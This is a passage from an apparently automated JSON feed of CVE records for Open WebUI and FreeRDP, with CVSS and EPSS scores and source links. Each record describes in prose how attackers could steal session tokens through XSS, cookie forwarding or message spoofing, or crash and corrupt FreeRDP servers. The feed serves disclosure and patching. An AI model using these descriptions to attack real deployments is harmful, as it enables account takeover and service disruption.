credentials.","detail":"Open WebUI from 0.11.0 before 0.11.4 contains an information disclosure vulnerability that allows authenticated non-admin users with tool export permission to obtain tool source code shared with them read-only. Attackers can request GET /api/v1/tools/export to retrieve the full Python source of read-only shared tools, exposing embedded API keys and credentials.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:22.650Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109293","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00361,"percentile":0.29606,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109293&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109293","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109293","type":"primary","publishedAt":"2026-10-12T17:17:22.650Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109293&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109293, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109292","cveId":"CVE-2026-109292","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser...","summary":"Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser cookie jar on OAuth-mode connections. Operators of OpenAI-compatible connections, OpenAPI tool servers or terminal servers can capture forwarded session cookies from routine requests and replay them to hijack accounts, including administrators.","detail":"Open WebUI from 0.6.27 before 0.11.4 contains an information disclosure vulnerability that allows destination servers to obtain user session cookies by receiving the full browser cookie jar on OAuth-mode connections. Operators of OpenAI-compatible connections, OpenAPI tool servers or terminal servers can capture forwarded session cookies from routine requests and replay them to hijack accounts, including administrators.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:22.500Z","updatedAt":"2026-10-15T15:55:45.630Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109292","asOf":"2026-10-15T15:55:45.630Z"},"epss":{"probability":0.00409,"percentile":0.34903,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109292&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109292","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109292","type":"primary","publishedAt":"2026-10-12T17:17:22.500Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109292&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109292, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109291","cveId":"CVE-2026-109291","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript:...","summary":"Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript: URLs in citation embed_url fields. Attackers can share a crafted chat whose citation, when clicked, is passed to window.open, letting them steal localStorage.token and act as the victim.","detail":"Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript: URLs in citation embed_url fields. Attackers can share a crafted chat whose citation, when clicked, is passed to window.open, letting them steal localStorage.token and act as the victim.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:22.353Z","updatedAt":"2026-10-18T12:17:04.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109291","asOf":"2026-10-18T12:17:04.147Z"},"epss":{"probability":0.00279,"percentile":0.20128,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109291&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109291","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109291","type":"primary","publishedAt":"2026-10-12T17:17:22.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109291&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109291, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109290","cveId":"CVE-2026-109290","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading...","summary":"Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading crafted DOCX attachments. Attackers can embed an OOXML altChunk HTML part or script-scheme hyperlink to steal a previewing administrator's session token from local storage and take over the instance.","detail":"Open WebUI from 0.11.1 before 0.11.4 contains a stored cross-site scripting vulnerability in DocxPreview.svelte that allows authenticated users to execute script by uploading crafted DOCX attachments. Attackers can embed an OOXML altChunk HTML part or script-scheme hyperlink to steal a previewing administrator's session token from local storage and take over the instance.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:22.210Z","updatedAt":"2026-10-23T22:16:53.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109290","asOf":"2026-10-23T22:16:53.993Z"},"epss":{"probability":0.00313,"percentile":0.24011,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109290&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109290","type":"primary","publishedAt":"2026-10-12T17:17:22.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109290, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109288","cveId":"CVE-2026-109288","aliases":[],"kind":"vulnerability","title":"Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating...","summary":"Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating their scheme. Authenticated users can embed javascript: links in shared chats that, when clicked by a victim, steal the victim's JWT from local storage, including admins' tokens.","detail":"Open WebUI before 0.11.4 contains a stored cross-site scripting vulnerability in MarkdownInlineTokens.svelte, which renders markdown link URLs into anchor hrefs without validating their scheme. Authenticated users can embed javascript: links in shared chats that, when clicked by a victim, steal the victim's JWT from local storage, including admins' tokens.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:21.913Z","updatedAt":"2026-10-13T20:39:48.767Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109288","asOf":"2026-10-13T20:39:48.767Z"},"epss":{"probability":0.00292,"percentile":0.2161,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109288&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109288","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109288","type":"primary","publishedAt":"2026-10-12T17:17:21.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109288&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109288, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109286","cveId":"CVE-2026-109286","aliases":[],"kind":"vulnerability","title":"Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by...","summary":"Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by posting unvalidated verify:chat messages. Attackers can supply a path-traversal chat id redirecting the authenticated stats export request to the auths endpoint, receiving the victim's JWT for full API access.","detail":"Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by posting unvalidated verify:chat messages. Attackers can supply a path-traversal chat id redirecting the authenticated stats export request to the auths endpoint, receiving the victim's JWT for full API access.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:21.613Z","updatedAt":"2026-10-18T12:17:04.020Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109286","asOf":"2026-10-18T12:17:04.020Z"},"epss":{"probability":0.00145,"percentile":0.03743,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109286","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109286","type":"primary","publishedAt":"2026-10-12T17:17:21.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109286, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109257","cveId":"CVE-2026-109257","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure.","summary":"FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure. Attackers using a crafted RDP client can negotiate NSCodec with a large desktop geometry to trigger allocation failure, crashing the server during context teardown.","detail":"FreeRDP before 3.32.0 contains a double-free vulnerability in nsc_context_initialize_encode() that leaves dangling plane pointers after a partial buffer growth failure. Attackers using a crafted RDP client can negotiate NSCodec with a large desktop geometry to trigger allocation failure, crashing the server during context teardown.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:17.280Z","updatedAt":"2026-10-15T03:17:07.483Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109257","asOf":"2026-10-15T03:17:07.483Z"},"epss":{"probability":0.00388,"percentile":0.32615,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109257&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109257","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109257","type":"primary","publishedAt":"2026-10-12T17:17:17.280Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109257&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109257, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109250","cveId":"CVE-2026-109250","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11...","summary":"FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11 key enumeration. Attackers controlling smartcard tokens can present more than 64 public key objects across multiple slots to corrupt heap memory with attacker-chosen CKA_ID and CKA_LABEL data during smartcard logon.","detail":"FreeRDP 3.0.0 before 3.32.0 contains a heap buffer overflow vulnerability in collect_keys() that allows local attackers to write past the fixed 64-entry keys array during PKCS#11 key enumeration. Attackers controlling smartcard tokens can present more than 64 public key objects across multiple slots to corrupt heap memory with attacker-chosen CKA_ID and CKA_LABEL data during smartcard logon.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:16.230Z","updatedAt":"2026-10-15T15:54:26.210Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109250","asOf":"2026-10-15T15:54:26.210Z"},"epss":{"probability":0.00249,"percentile":0.1605,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109250","type":"primary","publishedAt":"2026-10-12T17:17:16.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109246","cveId":"CVE-2026-109246","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range...","summary":"FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range check, so the in-flight frame count in shadow_encoder_inflight_frames() can underflow. An authenticated client can acknowledge a frame id one greater than the last frame sent, causing shadow_encoder_create_frame_id() to divide by zero (SIGFPE) and terminate the process, disconnecting all viewers.","detail":"FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range check, so the in-flight frame count in shadow_encoder_inflight_frames() can underflow. An authenticated client can acknowledge a frame id one greater than the last frame sent, causing shadow_encoder_create_frame_id() to divide by zero (SIGFPE) and terminate the process, disconnecting all viewers.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:15.630Z","updatedAt":"2026-10-18T12:17:02.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109246","asOf":"2026-10-18T12:17:02.880Z"},"epss":{"probability":0.00379,"percentile":0.31592,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109246","type":"primary","publishedAt":"2026-10-12T17:17:15.630Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109245","cveId":"CVE-2026-109245","aliases":[],"kind":"vulnerability","title":"FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without...","summary":"FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without verifying the server certificate chain. On-path attackers can impersonate login.microsoftonline.com in the Azure AD authentication flow to capture OAuth authorization codes and substitute the OpenID discovery document.","detail":"FreeRDP 3.0.0 before 3.32.0 contains an improper certificate validation vulnerability in freerdp_http_request() in libfreerdp/utils/http.c that completes TLS handshakes without verifying the server certificate chain. On-path attackers can impersonate login.microsoftonline.com in the Azure AD authentication flow to capture OAuth authorization codes and substitute the OpenID discovery document.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-12T17:17:15.480Z","updatedAt":"2026-10-14T20:11:45.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":["FreeRDP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109245","asOf":"2026-10-14T20:11:45.520Z"},"epss":{"probability":0.00236,"percentile":0.14409,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109245","type":"primary","publishedAt":"2026-10-12T17:17:15.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109242","cveId":"CVE-2026-109242","aliases":[],"kind":"vulnerability","title":"FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 renders uninitialized heap memory from un-decoded progressive tiles because the tile->current buffer is allocated without zeroing.","summary":"FreeRDP before 3.0.0 and 3.6.0 before 3.32.0 